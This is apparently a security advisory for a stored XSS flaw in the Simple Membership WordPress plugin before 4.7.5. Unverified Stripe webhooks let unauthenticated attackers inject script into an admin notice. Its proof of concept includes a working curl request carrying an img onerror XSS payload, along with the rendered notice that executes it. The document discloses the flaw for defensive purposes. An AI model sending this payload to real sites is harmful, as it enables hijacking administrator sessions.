Simple Membership < 4.7.5 – Unauthenticated Stored XSS via Stripe Webhook API Version | CVE 2026-11855

Description

The plugin does not verify the authenticity of Stripe webhook requests when no signing secret is configured, nor escape a value taken from them before outputting it in an administrator notice, allowing unauthenticated attackers to inject arbitrary web scripts that execute in the context of a logged-in administrator.

Proof of Concept

Prerequisites: Simple Membership 4.7.4 active, with no Stripe webhook signing secret configured (the default state after activation).

Step 1. As an unauthenticated attacker, send a forged Stripe webhook. The api_version value is prefixed with an old date (2020-01-01) so that it is treated as older than the plugin's minimum API version and the admin notice is triggered:

curl -k -X POST "https://victim.example/?swpm_process_stripe_subscription=1&hook=1" \
  -H "Content-Type: application/json" \
  --data-binary '{"id":"evt_test","type":"omni.unused_event","created":1780000000,"api_version":"2020-01-01<img src=x onerror=alert(document.domain)>","data":{"object":{"object":"unknown"}}}'

Expected result: HTTP 200, and the value is stored verbatim in the swpm_stripe_received_api_old_version option.

Step 2. Load any /wp-admin/ page as an administrator. The stored value is rendered unescaped in the outdated Stripe API version notice, and the script executes in the administrator's session with no further interaction:

<div class="notice notice-warning is-dismissible" id="swpm_stripe_api_old_version_notice"><p>This site received a Stripe subscription webhook using an outdated API version '2020-01-01<img src=x onerror=alert(document.domain)>'. ...</p></div>